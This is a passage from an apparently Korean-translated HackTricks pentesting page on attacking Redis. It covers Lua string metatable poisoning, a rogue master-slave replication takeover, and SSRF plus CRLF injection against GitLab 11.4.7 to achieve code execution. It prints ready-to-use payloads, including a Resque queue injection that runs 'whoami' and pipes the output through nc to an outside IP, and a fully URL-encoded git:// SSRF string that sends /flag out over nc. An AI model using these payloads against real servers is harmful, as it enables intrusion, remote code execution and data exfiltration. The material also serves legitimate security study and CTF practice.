  • ์›์ธ: ์—”์ง„ ์ดˆ๊ธฐํ™” ์‹œ, ๊ธฐ๋ณธ ํƒ€์ž…(์˜ˆ: strings, booleans)์— ๋Œ€ํ•œ metatables๊ฐ€ read-only๋กœ ์„ค์ •๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๋Š” ์ด๋ฅผ poisonํ•˜์—ฌ ์ดํ›„ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๊ฐ€ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋Š” methods๋ฅผ injectํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์˜ˆ์‹œ (string metatable poisoning):
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# โ†’ Returns: testfuncoutput
  • ์˜ํ–ฅ: ํ”ผํ•ด์ž์˜ Redis ๊ถŒํ•œ์„ ์‚ฌ์šฉํ•ด Lua sandbox ๋‚ด๋ถ€์—์„œ ๊ต์ฐจ ์‚ฌ์šฉ์ž ์ฝ”๋“œ ์‹คํ–‰. Redis ACL ์ปจํ…์ŠคํŠธ ๋‚ด์—์„œ lateral movement/priv-esc์— ์œ ์šฉ.

๋งˆ์Šคํ„ฐ-์Šฌ๋ ˆ์ด๋ธŒ ๋ชจ๋“ˆ

โ€‹๋งˆ์Šคํ„ฐ Redis์˜ ๋ชจ๋“  ์ž‘์—…์€ ์ž๋™์œผ๋กœ ์Šฌ๋ ˆ์ด๋ธŒ Redis์— ๋™๊ธฐํ™”๋œ๋‹ค. ์ฆ‰, ์ทจ์•ฝํ•œ Redis๋ฅผ ์šฐ๋ฆฌ๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋งˆ์Šคํ„ฐ Redis์— ์—ฐ๊ฒฐ๋œ ์Šฌ๋ ˆ์ด๋ธŒ Redis๋กœ ๊ฐ„์ฃผํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ์šฐ๋ฆฌ๊ฐ€ ์ œ์–ดํ•˜๋Š” Redis์— ๋ช…๋ น์„ ์ž…๋ ฅํ•˜๋ฉด ํ•ด๋‹น ๋ช…๋ น์ด ์Šฌ๋ ˆ์ด๋ธŒ๋กœ ์ „ํŒŒ๋œ๋‹ค.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF๋กœ Redis์™€ ํ†ต์‹ ํ•˜๊ธฐ

๋งŒ์•ฝ clear text ์š”์ฒญ์„ to Redis๋กœ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค๋ฉด, communicate with it ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Redis๋Š” ์š”์ฒญ์„ ์ค„ ๋‹จ์œ„๋กœ ์ฝ๊ณ  ์ดํ•ดํ•˜์ง€ ๋ชปํ•˜๋Š” ์ค„์—๋Š” ๋‹จ์ˆœํžˆ ์˜ค๋ฅ˜๋กœ ์‘๋‹ตํ•ฉ๋‹ˆ๋‹ค:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

๋”ฐ๋ผ์„œ ์›น์‚ฌ์ดํŠธ์—์„œ SSRF vuln์„ ๋ฐœ๊ฒฌํ•˜๊ณ  ์ผ๋ถ€ headers(์˜ˆ: CRLF vuln์œผ๋กœ) ๋˜๋Š” POST parameters๋ฅผ controlํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, Redis์— ์ž„์˜์˜ ๋ช…๋ น์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Example: Gitlab SSRF + CRLF to Shell

In Gitlab11.4.7์—์„œ๋Š” SSRF vulnerability์™€ CRLF๊ฐ€ ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. SSRF ์ทจ์•ฝ์ ์€ ์ƒˆ ํ”„๋กœ์ ํŠธ๋ฅผ ์ƒ์„ฑํ•  ๋•Œ์˜ import project from URL functionality์— ์žˆ์—ˆ๊ณ  [0:0:0:0:0:ffff:127.0.0.1] ํ˜•ํƒœ๋กœ ์ž„์˜์˜ IP(์ด ๊ฒฝ์šฐ 127.0.0.1)์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  CRLF vuln์€ ๋‹จ์ˆœํžˆ URL์— %0D%0A ๋ฌธ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์•…์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์„ abuse these vulnerabilities to talk to the Redis instanceํ•˜์—ฌ gitlab์—์„œ ํ๋ฅผ manages queuesํ•˜๋Š” Redis ์ธ์Šคํ„ด์Šค์™€ ํ†ต์‹ ํ•˜๊ณ , ๊ทธ ํ๋“ค์„ ์•…์šฉํ•ด obtain code executionํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. The Redis queue abuse payload is:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

๊ทธ๋ฆฌ๊ณ  URL encode ์š”์ฒญ์œผ๋กœ abusing SSRF ๋ฐ CRLF๋ฅผ ์ด์šฉํ•ด whoami๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๊ฒฐ๊ณผ๋ฅผ nc๋กœ ์ „์†กํ•˜๋Š” ๊ฒƒ์€:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

์–ด๋–ค ์ด์œ ๋กœ (์ด ์ •๋ณด์˜ ์ถœ์ฒ˜์ธ https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ ์˜ ์ €์ž๋„ ๋งˆ์ฐฌ๊ฐ€์ง€์˜€์œผ๋ฉฐ) exploitation์€ git ์Šคํ‚ด์—์„œ๋Š” ์ž‘๋™ํ–ˆ์ง€๋งŒ http ์Šคํ‚ด์—์„œ๋Š” ์ž‘๋™ํ•˜์ง€ ์•Š์•˜๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ